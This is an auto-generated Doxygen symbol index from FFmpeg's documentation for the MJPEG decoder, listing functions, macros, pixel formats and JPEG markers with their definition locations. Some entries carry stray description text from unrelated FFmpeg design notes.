#define AV_PIX_FMT_BGR48
Definition: pixfmt.h:395
flush
static void flush(AVCodecContext *avctx)
Definition: aacdec_template.c:593
NULL
#define NULL
Definition: coverity.c:32
mjpeg_idct_scan_progressive_ac
static void mjpeg_idct_scan_progressive_ac(MJpegDecodeContext *s)
Definition: mjpegdec.c:1598
copy_block2
static void copy_block2(uint8_t *dst, const uint8_t *src, ptrdiff_t dstStride, ptrdiff_t srcStride, int h)
Definition: copy_block.h:27
AVERROR_PATCHWELCOME
#define AVERROR_PATCHWELCOME
Not yet implemented in FFmpeg, patches welcome.
Definition: error.h:64
run
uint8_t run
Definition: svq3.c:203
AVRational
Rational number (pair of numerator and denominator).
Definition: rational.h:58
ff_mjpeg_decode_dqt
int ff_mjpeg_decode_dqt(MJpegDecodeContext *s)
Definition: mjpegdec.c:194
SOF13
@ SOF13
Definition: mjpeg.h:52
AVCodecContext::internal
struct AVCodecInternal * internal
Private context used for internal data.
Definition: avcodec.h:418
receive_frame
static CopyRet receive_frame(AVCodecContext *avctx, AVFrame *frame, int *got_frame)
Definition: crystalhd.c:559
AV_PIX_FMT_YUVJ420P
@ AV_PIX_FMT_YUVJ420P
planar YUV 4:2:0, 12bpp, full scale (JPEG), deprecated in favor of AV_PIX_FMT_YUV420P and setting col...
Definition: pixfmt.h:78
tiff.h
av_default_item_name
const char * av_default_item_name(void *ptr)
Return the context name.
Definition: log.c:235
get_bits1
static unsigned int get_bits1(GetBitContext *s)
Definition: get_bits.h:499
AV_PICTURE_TYPE_I
@ AV_PICTURE_TYPE_I
Intra.
Definition: avutil.h:274
profiles.h
src
#define src
Definition: vp8dsp.c:255
AV_FRAME_DATA_ICC_PROFILE
@ AV_FRAME_DATA_ICC_PROFILE
The data contains an ICC profile as an opaque octet buffer following the format described by ISO 1507...
Definition: frame.h:143
LAST_SKIP_BITS
#define LAST_SKIP_BITS(name, gb, num)
Definition: get_bits.h:200
MJpegDecodeContext
Definition: mjpegdec.h:54
mjpeg_decode_scan
static int mjpeg_decode_scan(MJpegDecodeContext *s, int nb_components, int Ah, int Al, const uint8_t *mb_bitmask, int mb_bitmask_size, const AVFrame *reference)
Definition: mjpegdec.c:1422
decode_block_refinement
static int decode_block_refinement(MJpegDecodeContext *s, int16_t *block, uint8_t *last_nnz, int ac_index, uint16_t *quant_matrix, int ss, int se, int Al, int *EOBRUN)
Definition: mjpegdec.c:971
lowres
static int lowres
Definition: ffplay.c:334
mjpeg_decode_scan_progressive_ac
static int mjpeg_decode_scan_progressive_ac(MJpegDecodeContext *s, int ss, int se, int Ah, int Al)
Definition: mjpegdec.c:1543
ff_mjpeg_val_ac_chrominance
const uint8_t ff_mjpeg_val_ac_chrominance[]
Definition: jpegtabs.h:69
AV_PIX_FMT_GRAY8
@ AV_PIX_FMT_GRAY8
Y , 8bpp.
Definition: pixfmt.h:74
AV_EF_EXPLODE
#define AV_EF_EXPLODE
abort decoding on minor error detection
Definition: avcodec.h:1335
FF_CODEC_CAP_EXPORTS_CROPPING
#define FF_CODEC_CAP_EXPORTS_CROPPING
The decoder sets the cropping fields in the output frames manually.
Definition: internal.h:68
AV_PIX_FMT_ABGR
@ AV_PIX_FMT_ABGR
packed ABGR 8:8:8:8, 32bpp, ABGRABGR...
Definition: pixfmt.h:94
DRI
@ DRI
Definition: mjpeg.h:75
c
Undefined Behavior In the C some operations are like signed integer dereferencing freed accessing outside allocated Undefined Behavior must not occur in a C it is not safe even if the output of undefined operations is unused The unsafety may seem nit picking but Optimizing compilers have in fact optimized code on the assumption that no undefined Behavior occurs Optimizing code based on wrong assumptions can and has in some cases lead to effects beyond the output of computations The signed integer overflow problem in speed critical code Code which is highly optimized and works with signed integers sometimes has the problem that often the output of the computation does not c
Definition: undefined.txt:32
bytestream2_tell
static av_always_inline int bytestream2_tell(GetByteContext *g)
Definition: bytestream.h:192
for
for(j=16;j >0;--j)
Definition: h264pred_template.c:469
ff_dlog
#define ff_dlog(a,...)
Definition: tableprint_vlc.h:29
copy_data_segment
#define copy_data_segment(skip)
AVCodecContext::lowres
int lowres
low resolution decoding, 1-> 1/2 size, 2->1/4 size
Definition: avcodec.h:1432
options
const OptionDef options[]
copy_mb
static void copy_mb(CinepakEncContext *s, uint8_t *a_data[4], int a_linesize[4], uint8_t *b_data[4], int b_linesize[4])
Definition: cinepakenc.c:508
ff_get_buffer
int ff_get_buffer(AVCodecContext *avctx, AVFrame *frame, int flags)
Get a buffer for a frame.
Definition: decode.c:1652
AV_PIX_FMT_RGB24
@ AV_PIX_FMT_RGB24
packed RGB 8:8:8, 24bpp, RGBRGB...
Definition: pixfmt.h:68
AV_CODEC_CAP_DR1
#define AV_CODEC_CAP_DR1
Codec uses get_buffer() or get_encode_buffer() for allocating buffers and supports custom allocators.
Definition: codec.h:52
ljpeg_decode_rgb_scan
static int ljpeg_decode_rgb_scan(MJpegDecodeContext *s, int nb_components, int predictor, int point_transform)
Definition: mjpegdec.c:1071
ff_mjpeg_val_ac_luminance
const uint8_t ff_mjpeg_val_ac_luminance[]
Definition: jpegtabs.h:42
dc
Tag MUST be and< 10hcoeff half pel interpolation filter coefficients, hcoeff[0] are the 2 middle coefficients[1] are the next outer ones and so on, resulting in a filter like:...eff[2], hcoeff[1], hcoeff[0], hcoeff[0], hcoeff[1], hcoeff[2] ... the sign of the coefficients is not explicitly stored but alternates after each coeff and coeff[0] is positive, so ...,+,-,+,-,+,+,-,+,-,+,... hcoeff[0] is not explicitly stored but found by subtracting the sum of all stored coefficients with signs from 32 hcoeff[0]=32 - hcoeff[1] - hcoeff[2] - ... a good choice for hcoeff and htaps is htaps=6 hcoeff={40,-10, 2} an alternative which requires more computations at both encoder and decoder side and may or may not be better is htaps=8 hcoeff={42,-14, 6,-2}ref_frames minimum of the number of available reference frames and max_ref_frames for example the first frame after a key frame always has ref_frames=1spatial_decomposition_type wavelet type 0 is a 9/7 symmetric compact integer wavelet 1 is a 5/3 symmetric compact integer wavelet others are reserved stored as delta from last, last is reset to 0 if always_reset||keyframeqlog quality(logarithmic quantizer scale) stored as delta from last, last is reset to 0 if always_reset||keyframemv_scale stored as delta from last, last is reset to 0 if always_reset||keyframe FIXME check that everything works fine if this changes between framesqbias dequantization bias stored as delta from last, last is reset to 0 if always_reset||keyframeblock_max_depth maximum depth of the block tree stored as delta from last, last is reset to 0 if always_reset||keyframequant_table quantization tableHighlevel bitstream structure:==============================--------------------------------------------|Header|--------------------------------------------|------------------------------------|||Block0||||split?||||yes no||||......... intra?||||:Block01 :yes no||||:Block02 :....... ..........||||:Block03 ::y DC ::ref index:||||:Block04 ::cb DC ::motion x :||||......... :cr DC ::motion y :||||....... ..........|||------------------------------------||------------------------------------|||Block1|||...|--------------------------------------------|------------ ------------ ------------|||Y subbands||Cb subbands||Cr subbands||||--- ---||--- ---||--- ---|||||LL0||HL0||||LL0||HL0||||LL0||HL0|||||--- ---||--- ---||--- ---||||--- ---||--- ---||--- ---|||||LH0||HH0||||LH0||HH0||||LH0||HH0|||||--- ---||--- ---||--- ---||||--- ---||--- ---||--- ---|||||HL1||LH1||||HL1||LH1||||HL1||LH1|||||--- ---||--- ---||--- ---||||--- ---||--- ---||--- ---|||||HH1||HL2||||HH1||HL2||||HH1||HL2|||||...||...||...|||------------ ------------ ------------|--------------------------------------------Decoding process:=================------------|||Subbands|------------||||------------|Intra DC||||LL0 subband prediction ------------|\ Dequantization ------------------- \||Reference frames|\ IDWT|------- -------|Motion \|||Frame 0||Frame 1||Compensation . OBMC v -------|------- -------|--------------. \------> Frame n output Frame Frame<----------------------------------/|...|------------------- Range Coder:============Binary Range Coder:------------------- The implemented range coder is an adapted version based upon "Range encoding: an algorithm for removing redundancy from a digitised message." by G. N. N. Martin. The symbols encoded by the Snow range coder are bits(0|1). The associated probabilities are not fix but change depending on the symbol mix seen so far. bit seen|new state ---------+----------------------------------------------- 0|256 - state_transition_table[256 - old_state];1|state_transition_table[old_state];state_transition_table={ 0, 0, 0, 0, 0, 0, 0, 0, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 190, 191, 192, 194, 194, 195, 196, 197, 198, 199, 200, 201, 202, 202, 204, 205, 206, 207, 208, 209, 209, 210, 211, 212, 213, 215, 215, 216, 217, 218, 219, 220, 220, 222, 223, 224, 225, 226, 227, 227, 229, 229, 230, 231, 232, 234, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 248, 0, 0, 0, 0, 0, 0, 0};FIXME Range Coding of integers:------------------------- FIXME Neighboring Blocks:===================left and top are set to the respective blocks unless they are outside of the image in which case they are set to the Null block top-left is set to the top left block unless it is outside of the image in which case it is set to the left block if this block has no larger parent block or it is at the left side of its parent block and the top right block is not outside of the image then the top right block is used for top-right else the top-left block is used Null block y, cb, cr are 128 level, ref, mx and my are 0 Motion Vector Prediction:=========================1. the motion vectors of all the neighboring blocks are scaled to compensate for the difference of reference frames scaled_mv=(mv *(256 *(current_reference+1)/(mv.reference+1))+128)> the median of the scaled top and top right vectors is used as motion vector prediction the used motion vector is the sum of the predictor and(mvx_diff, mvy_diff) *mv_scale Intra DC Prediction block[y][x] dc[1]
Definition: snow.txt:400
NULL_IF_CONFIG_SMALL
#define NULL_IF_CONFIG_SMALL(x)
Return NULL if CONFIG_SMALL is true, otherwise the argument without modification.
Definition: internal.h:117
id
enum AVCodecID id
Definition: extract_extradata_bsf.c:325
av_frame_ref
int av_frame_ref(AVFrame *dst, const AVFrame *src)
Set up a new reference to the data described by the source frame.
Definition: frame.c:325
SOF14
@ SOF14
Definition: mjpeg.h:53
ff_jpegls_decode_lse
int ff_jpegls_decode_lse(MJpegDecodeContext *s)
Decode LSE block with initialization parameters.
Definition: jpeglsdec.c:51
decode_block_progressive
static int decode_block_progressive(MJpegDecodeContext *s, int16_t *block, uint8_t *last_nnz, int ac_index, uint16_t *quant_matrix, int ss, int se, int Al, int *EOBRUN)
Definition: mjpegdec.c:872
av_err2str
#define av_err2str(errnum)
Convenience macro, the return value should be used only directly in function arguments but never stan...
Definition: error.h:121
ff_mjpeg_decode_sos
int ff_mjpeg_decode_sos(MJpegDecodeContext *s, const uint8_t *mb_bitmask, int mb_bitmask_size, const AVFrame *reference)
Definition: mjpegdec.c:1633
ff_mjpeg_bits_ac_luminance
const uint8_t ff_mjpeg_bits_ac_luminance[]
Definition: jpegtabs.h:40
size
int size
Definition: twinvq_data.h:10344
AV_CODEC_ID_SMVJPEG
@ AV_CODEC_ID_SMVJPEG
Definition: codec_id.h:263
AV_RB32
uint64_t_TMPL AV_WL64 unsigned int_TMPL AV_WL32 unsigned int_TMPL AV_WL24 unsigned int_TMPL AV_WL16 uint64_t_TMPL AV_WB64 unsigned int_TMPL AV_RB32
Definition: bytestream.h:96
avpriv_report_missing_feature
void avpriv_report_missing_feature(void *avc, const char *msg,...) av_printf_format(2
Log a generic warning message about a missing feature.
AVFrameSideData::data
uint8_t * data
Definition: frame.h:225
SOF15
@ SOF15
Definition: mjpeg.h:54
AVFrame::format
int format
format of the frame, -1 if unknown or unset Values correspond to enum AVPixelFormat for video frames,...
Definition: frame.h:404
AVCodecHWConfigInternal
Definition: hwconfig.h:29
ff_mjpeg_bits_dc_luminance
const uint8_t ff_mjpeg_bits_dc_luminance[]
Definition: jpegtabs.h:32
OPEN_READER
#define OPEN_READER(name, gb)
Definition: get_bits.h:139
height
#define height
AV_PIX_FMT_YUVA444P
@ AV_PIX_FMT_YUVA444P
planar YUV 4:4:4 32bpp, (1 Cr & Cb sample per 1x1 Y & A samples)
Definition: pixfmt.h:167
VD
#define VD
Definition: av1dec.c:1213
offset
it s the only field you need to keep assuming you have a context There is some magic you don t need to care about around this just let it vf offset
Definition: writing_filters.txt:86
line
Definition: graph2dot.c:48
get_xbits
static int get_xbits(GetBitContext *s, int n)
Read MPEG-1 dc-style VLC (sign bit + mantissa with no MSB).
Definition: get_bits.h:322
av_dict_free
void av_dict_free(AVDictionary **pm)
Free all the memory allocated for an AVDictionary struct and all keys and values.
Definition: dict.c:203
HWACCEL_NVDEC
#define HWACCEL_NVDEC(codec)
Definition: hwconfig.h:71
predictor
static void predictor(uint8_t *src, ptrdiff_t size)
Definition: exrenc.c:164
find_marker
static int find_marker(const uint8_t **pbuf_ptr, const uint8_t *buf_end)
Definition: mjpegdec.c:2178
AV_STEREO3D_FLAG_INVERT
#define AV_STEREO3D_FLAG_INVERT
Inverted views, Right/Bottom represents the left view.
Definition: stereo3d.h:167
AV_PIX_FMT_VAAPI
@ AV_PIX_FMT_VAAPI
Hardware acceleration through VA-API, data[3] contains a VASurfaceID.
Definition: pixfmt.h:119
DQT
@ DQT
Definition: mjpeg.h:73
AV_LOG_INFO
#define AV_LOG_INFO
Standard information.
Definition: log.h:191
AVCodec::id
enum AVCodecID id
Definition: codec.h:216
layout
Filter the word “frame” indicates either a video frame or a group of audio as stored in an AVFrame structure Format for each input and each output the list of supported formats For video that means pixel format For audio that means channel layout
Definition: filter_design.txt:18
SOF10
@ SOF10
Definition: mjpeg.h:49
AV_FIELD_BB
@ AV_FIELD_BB
Definition: codec_par.h:40
AV_CODEC_ID_MJPEG
@ AV_CODEC_ID_MJPEG
Definition: codec_id.h:57
src1
#define src1
Definition: h264pred.c:140
NEG_USR32
#define NEG_USR32(a, s)
Definition: mathops.h:166
copy_block4
static void copy_block4(uint8_t *dst, const uint8_t *src, ptrdiff_t dstStride, ptrdiff_t srcStride, int h)
Definition: copy_block.h:37
interlaced
uint8_t interlaced
Definition: mxfenc.c:2040
decode_block
static int decode_block(MJpegDecodeContext *s, int16_t *block, int component, int dc_index, int ac_index, uint16_t *quant_matrix)
Definition: mjpegdec.c:805
i
#define i(width, name, range_min, range_max)
Definition: cbs_h2645.c:271
code
and forward the test the status of outputs and forward it to the corresponding return FFERROR_NOT_READY If the filters stores internally one or a few frame for some it can consider them to be part of the FIFO and delay acknowledging a status change accordingly Example code
Definition: filter_design.txt:178
EOI
@ EOI
Definition: mjpeg.h:71
copy_block.h
AVCodecContext::extradata
uint8_t * extradata
some codecs need / can use extradata like Huffman tables.
Definition: avcodec.h:484
show_bits
static unsigned int show_bits(GetBitContext *s, int n)
Show 1-25 bits.
Definition: get_bits.h:447
FF_CODEC_CAP_INIT_CLEANUP
#define FF_CODEC_CAP_INIT_CLEANUP
The codec allows calling the close function for deallocation even if the init function returned a fai...
Definition: internal.h:50
FF_PROFILE_MJPEG_HUFFMAN_EXTENDED_SEQUENTIAL_DCT
#define FF_PROFILE_MJPEG_HUFFMAN_EXTENDED_SEQUENTIAL_DCT
Definition: avcodec.h:1626
display.h
AV_STEREO3D_TOPBOTTOM
@ AV_STEREO3D_TOPBOTTOM
Views are on top of each other.
Definition: stereo3d.h:79
mjpeg_decode_dri
static int mjpeg_decode_dri(MJpegDecodeContext *s)
Definition: mjpegdec.c:1811
AVCodecInternal::in_pkt
AVPacket * in_pkt
This packet is used to hold the packet given to decoders implementing the .decode API; it is unused b...
Definition: internal.h:144
MIN_CACHE_BITS
#define MIN_CACHE_BITS
Definition: get_bits.h:129
av_fast_padded_malloc
void av_fast_padded_malloc(void *ptr, unsigned int *size, size_t min_size)
Same behaviour av_fast_malloc but the buffer has additional AV_INPUT_BUFFER_PADDING_SIZE at the end w...
Definition: utils.c:50
SOF9
@ SOF9
Definition: mjpeg.h:48
av_always_inline
#define av_always_inline
Definition: attributes.h:49
value
it s the only field you need to keep assuming you have a context There is some magic you don t need to care about around this just let it vf default value
Definition: writing_filters.txt:86
FF_DEBUG_STARTCODE
#define FF_DEBUG_STARTCODE
Definition: avcodec.h:1310
FFMIN
#define FFMIN(a, b)
Definition: macros.h:49
AV_PIX_FMT_YUVJ440P
@ AV_PIX_FMT_YUVJ440P
planar YUV 4:4:0 full scale (JPEG), deprecated in favor of AV_PIX_FMT_YUV440P and setting color_range
Definition: pixfmt.h:100
av_frame_unref
void av_frame_unref(AVFrame *frame)
Unreference all the buffers referenced by frame and reset the frame fields.
Definition: frame.c:435
ff_idctdsp_init
av_cold void ff_idctdsp_init(IDCTDSPContext *c, AVCodecContext *avctx)
Definition: idctdsp.c:238
av_mallocz
void * av_mallocz(size_t size)
Allocate a memory block with alignment suitable for all memory accesses (including vectors if availab...
Definition: mem.c:263
AVCodec::name
const char * name
Name of the codec implementation.
Definition: codec.h:209
AVCodecContext::chroma_sample_location
enum AVChromaLocation chroma_sample_location
This defines the location of chroma samples.
Definition: avcodec.h:974
len
int len
Definition: vorbis_enc_data.h:426
exif.h
DHT
@ DHT
Definition: mjpeg.h:56
AVCodecContext::height
int height
Definition: avcodec.h:556
AVCodecContext::pix_fmt
enum AVPixelFormat pix_fmt
Pixel format, see AV_PIX_FMT_xxx.
Definition: avcodec.h:593
AVCOL_RANGE_MPEG
@ AVCOL_RANGE_MPEG
Narrow or limited range content.
Definition: pixfmt.h:580
av_calloc
void * av_calloc(size_t nmemb, size_t size)
Definition: mem.c:271
idctdsp.h
avcodec.h
ff_zigzag_direct
const uint8_t ff_zigzag_direct[64]
Definition: mathtables.c:98
AV_PIX_FMT_PAL8
@ AV_PIX_FMT_PAL8
8 bits with AV_PIX_FMT_RGB32 palette
Definition: pixfmt.h:77
REFINE_BIT
#define REFINE_BIT(j)
Definition: mjpegdec.c:945
ret
ret
Definition: filter_design.txt:187
AV_LOG_FATAL
#define AV_LOG_FATAL
Something went wrong and recovery is not possible.
Definition: log.h:174
pred
static const float pred[4]
Definition: siprdata.h:259
av_stereo3d_alloc
AVStereo3D * av_stereo3d_alloc(void)
Allocate an AVStereo3D structure and set its fields to default values.
Definition: stereo3d.c:28
FFSWAP
#define FFSWAP(type, a, b)
Definition: macros.h:52
AVClass::class_name
const char * class_name
The name of the class; usually it is the same name as the context structure type to which the AVClass...
Definition: log.h:71
frame
these buffered frames must be flushed immediately if a new input produces new the filter must not call request_frame to get more It must just process the frame or queue it The task of requesting more frames is left to the filter s request_frame method or the application If a filter has several the filter must be ready for frames arriving randomly on any input any filter with several inputs will most likely require some kind of queuing mechanism It is perfectly acceptable to have a limited queue and to drop frames when the inputs are too unbalanced request_frame For filters that do not use the this method is called when a frame is wanted on an output For a it should directly call filter_frame on the corresponding output For a if there are queued frames already one of these frames should be pushed If the filter should request a frame on one of its repeatedly until at least one frame has been pushed Return or at least make progress towards producing a frame
Definition: filter_design.txt:264
AVStereo3D::type
enum AVStereo3DType type
How views are packed within the video.
Definition: stereo3d.h:180
SOF2
@ SOF2
Definition: mjpeg.h:41
align_get_bits
static const uint8_t * align_get_bits(GetBitContext *s)
Definition: get_bits.h:694
pos
unsigned int pos
Definition: spdifenc.c:412
LSE
@ LSE
JPEG-LS extension parameters.
Definition: mjpeg.h:104
FF_DEBUG_QP
#define FF_DEBUG_QP
Definition: avcodec.h:1307
AV_INPUT_BUFFER_PADDING_SIZE
#define AV_INPUT_BUFFER_PADDING_SIZE
Definition: defs.h:40
left
Tag MUST be and< 10hcoeff half pel interpolation filter coefficients, hcoeff[0] are the 2 middle coefficients[1] are the next outer ones and so on, resulting in a filter like:...eff[2], hcoeff[1], hcoeff[0], hcoeff[0], hcoeff[1], hcoeff[2] ... the sign of the coefficients is not explicitly stored but alternates after each coeff and coeff[0] is positive, so ...,+,-,+,-,+,+,-,+,-,+,... hcoeff[0] is not explicitly stored but found by subtracting the sum of all stored coefficients with signs from 32 hcoeff[0]=32 - hcoeff[1] - hcoeff[2] - ... a good choice for hcoeff and htaps is htaps=6 hcoeff={40,-10, 2} an alternative which requires more computations at both encoder and decoder side and may or may not be better is htaps=8 hcoeff={42,-14, 6,-2}ref_frames minimum of the number of available reference frames and max_ref_frames for example the first frame after a key frame always has ref_frames=1spatial_decomposition_type wavelet type 0 is a 9/7 symmetric compact integer wavelet 1 is a 5/3 symmetric compact integer wavelet others are reserved stored as delta from last, last is reset to 0 if always_reset||keyframeqlog quality(logarithmic quantizer scale) stored as delta from last, last is reset to 0 if always_reset||keyframemv_scale stored as delta from last, last is reset to 0 if always_reset||keyframe FIXME check that everything works fine if this changes between framesqbias dequantization bias stored as delta from last, last is reset to 0 if always_reset||keyframeblock_max_depth maximum depth of the block tree stored as delta from last, last is reset to 0 if always_reset||keyframequant_table quantization tableHighlevel bitstream structure:==============================--------------------------------------------|Header|--------------------------------------------|------------------------------------|||Block0||||split?||||yes no||||......... intra?||||:Block01 :yes no||||:Block02 :....... ..........||||:Block03 ::y DC ::ref index:||||:Block04 ::cb DC ::motion x :||||......... :cr DC ::motion y :||||....... ..........|||------------------------------------||------------------------------------|||Block1|||...|--------------------------------------------|------------ ------------ ------------|||Y subbands||Cb subbands||Cr subbands||||--- ---||--- ---||--- ---|||||LL0||HL0||||LL0||HL0||||LL0||HL0|||||--- ---||--- ---||--- ---||||--- ---||--- ---||--- ---|||||LH0||HH0||||LH0||HH0||||LH0||HH0|||||--- ---||--- ---||--- ---||||--- ---||--- ---||--- ---|||||HL1||LH1||||HL1||LH1||||HL1||LH1|||||--- ---||--- ---||--- ---||||--- ---||--- ---||--- ---|||||HH1||HL2||||HH1||HL2||||HH1||HL2|||||...||...||...|||------------ ------------ ------------|--------------------------------------------Decoding process:=================------------|||Subbands|------------||||------------|Intra DC||||LL0 subband prediction ------------|\ Dequantization ------------------- \||Reference frames|\ IDWT|------- -------|Motion \|||Frame 0||Frame 1||Compensation . OBMC v -------|------- -------|--------------. \------> Frame n output Frame Frame<----------------------------------/|...|------------------- Range Coder:============Binary Range Coder:------------------- The implemented range coder is an adapted version based upon "Range encoding: an algorithm for removing redundancy from a digitised message." by G. N. N. Martin. The symbols encoded by the Snow range coder are bits(0|1). The associated probabilities are not fix but change depending on the symbol mix seen so far. bit seen|new state ---------+----------------------------------------------- 0|256 - state_transition_table[256 - old_state];1|state_transition_table[old_state];state_transition_table={ 0, 0, 0, 0, 0, 0, 0, 0, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 190, 191, 192, 194, 194, 195, 196, 197, 198, 199, 200, 201, 202, 202, 204, 205, 206, 207, 208, 209, 209, 210, 211, 212, 213, 215, 215, 216, 217, 218, 219, 220, 220, 222, 223, 224, 225, 226, 227, 227, 229, 229, 230, 231, 232, 234, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 248, 0, 0, 0, 0, 0, 0, 0};FIXME Range Coding of integers:------------------------- FIXME Neighboring Blocks:===================left and top are set to the respective blocks unless they are outside of the image in which case they are set to the Null block top-left is set to the top left block unless it is outside of the image in which case it is set to the left block if this block has no larger parent block or it is at the left side of its parent block and the top right block is not outside of the image then the top right block is used for top-right else the top-left block is used Null block y, cb, cr are 128 level, ref, mx and my are 0 Motion Vector Prediction:=========================1. the motion vectors of all the neighboring blocks are scaled to compensate for the difference of reference frames scaled_mv=(mv *(256 *(current_reference+1)/(mv.reference+1))+128)> the median of the scaled left
Definition: snow.txt:386
AV_RL32
uint64_t_TMPL AV_WL64 unsigned int_TMPL AV_RL32
Definition: bytestream.h:92
ff_mjpeg_find_marker
int ff_mjpeg_find_marker(MJpegDecodeContext *s, const uint8_t **buf_ptr, const uint8_t *buf_end, const uint8_t **unescaped_buf_ptr, int *unescaped_buf_size)
Definition: mjpegdec.c:2203
AV_CODEC_ID_AMV
@ AV_CODEC_ID_AMV
Definition: codec_id.h:157
OFFSET
it s the only field you need to keep assuming you have a context There is some magic you don t need to care about around this just let it vf default minimum maximum flags name is the option keep it simple and lowercase description are in without and describe what they for example set the foo of the bar offset is the offset of the field in your see the OFFSET() macro
AVCodecContext
main external API structure.
Definition: avcodec.h:383
AVFrame::height
int height
Definition: frame.h:389
SHOW_UBITS
#define SHOW_UBITS(name, gb, num)
Definition: get_bits.h:212
buffer
the frame and frame reference mechanism is intended to as much as expensive copies of that data while still allowing the filters to produce correct results The data is stored in buffers represented by AVFrame structures Several references can point to the same frame buffer
Definition: filter_design.txt:49
AVCHROMA_LOC_CENTER
@ AVCHROMA_LOC_CENTER
MPEG-1 4:2:0, JPEG 4:2:0, H.263 4:2:0.
Definition: pixfmt.h:619
AV_PIX_FMT_NONE
@ AV_PIX_FMT_NONE
Definition: pixfmt.h:65
APP2
@ APP2
Definition: mjpeg.h:81
values
these buffered frames must be flushed immediately if a new input produces new the filter must not call request_frame to get more It must just process the frame or queue it The task of requesting more frames is left to the filter s request_frame method or the application If a filter has several the filter must be ready for frames arriving randomly on any input any filter with several inputs will most likely require some kind of queuing mechanism It is perfectly acceptable to have a limited queue and to drop frames when the inputs are too unbalanced request_frame For filters that do not use the this method is called when a frame is wanted on an output For a it should directly call filter_frame on the corresponding output For a if there are queued frames already one of these frames should be pushed If the filter should request a frame on one of its repeatedly until at least one frame has been pushed Return values
Definition: filter_design.txt:263
AVPixFmtDescriptor::comp
AVComponentDescriptor comp[4]
Parameters that describe how pixels are packed.
Definition: pixdesc.h:105
ff_tdecode_header
int ff_tdecode_header(GetByteContext *gb, int *le, int *ifd_offset)
Decodes a TIFF header from the input bytestream and sets the endianness in *le and the offset to the ...
Definition: tiff_common.c:228
profiles
static const AVProfile profiles[]
Definition: libfdk-aacenc.c:429
AV_PIX_FMT_YUV444P
@ AV_PIX_FMT_YUV444P
planar YUV 4:4:4, 24bpp, (1 Cr & Cb sample per 1x1 Y samples)
Definition: pixfmt.h:71
ff_mjpeg_bits_dc_chrominance
const uint8_t ff_mjpeg_bits_dc_chrominance[]
Definition: jpegtabs.h:37
AVCodecContext::debug
int debug
debug
Definition: avcodec.h:1302
ff_mjpeg_decode_sof
int ff_mjpeg_decode_sof(MJpegDecodeContext *s)
Definition: mjpegdec.c:298
APP0
@ APP0
Definition: mjpeg.h:79
AV_PIX_FMT_GBRP
@ AV_PIX_FMT_GBRP
planar GBR 4:4:4 24bpp
Definition: pixfmt.h:158
AVCodecContext::coded_width
int coded_width
Bitstream width / height, may be different from width/height e.g.
Definition: avcodec.h:571
AVMEDIA_TYPE_VIDEO
@ AVMEDIA_TYPE_VIDEO
Definition: avutil.h:201
AV_PIX_FMT_GRAY16LE
@ AV_PIX_FMT_GRAY16LE
Y , 16bpp, little-endian.
Definition: pixfmt.h:98
AV_PIX_FMT_YUV422P
@ AV_PIX_FMT_YUV422P
planar YUV 4:2:2, 16bpp, (1 Cr & Cb sample per 2x1 Y samples)
Definition: pixfmt.h:70
ff_set_dimensions
int ff_set_dimensions(AVCodecContext *s, int width, int height)
Check that the provided frame dimensions are valid and set them on the codec context.
Definition: utils.c:86
SOI
@ SOI
Definition: mjpeg.h:70
ff_mjpeg_decoder
const AVCodec ff_mjpeg_decoder
mjpeg_decode_app
static int mjpeg_decode_app(MJpegDecodeContext *s)
Definition: mjpegdec.c:1823
AVCodecContext::frame_number
int frame_number
Frame counter, set by libavcodec.
Definition: avcodec.h:1023
av_stereo3d_create_side_data
AVStereo3D * av_stereo3d_create_side_data(AVFrame *frame)
Allocate a complete AVFrameSideData and add it to the frame.
Definition: stereo3d.c:33
avpriv_request_sample
#define avpriv_request_sample(...)
Definition: tableprint_vlc.h:37
AVFrameSideData
Structure to hold side data for an AVFrame.
Definition: frame.h:223
flush_put_bits
static void flush_put_bits(PutBitContext *s)
Pad the end of the output stream with zeros.
Definition: put_bits.h:142
SOF1
@ SOF1
Definition: mjpeg.h:40
av_free
#define av_free(p)
Definition: tableprint_vlc.h:34
AVDictionaryEntry
Definition: dict.h:79
AVCodecContext::codec_tag
unsigned int codec_tag
fourcc (LSB first, so "ABCD" -> ('D'<<24) + ('C'<<16) + ('B'<<8) + 'A').
Definition: avcodec.h:408
ff_mjpeg_build_vlc
int ff_mjpeg_build_vlc(VLC *vlc, const uint8_t *bits_table, const uint8_t *val_table, int is_ac, void *logctx)
Definition: mjpegdec_common.c:41
AVCodecContext::priv_data
void * priv_data
Definition: avcodec.h:410
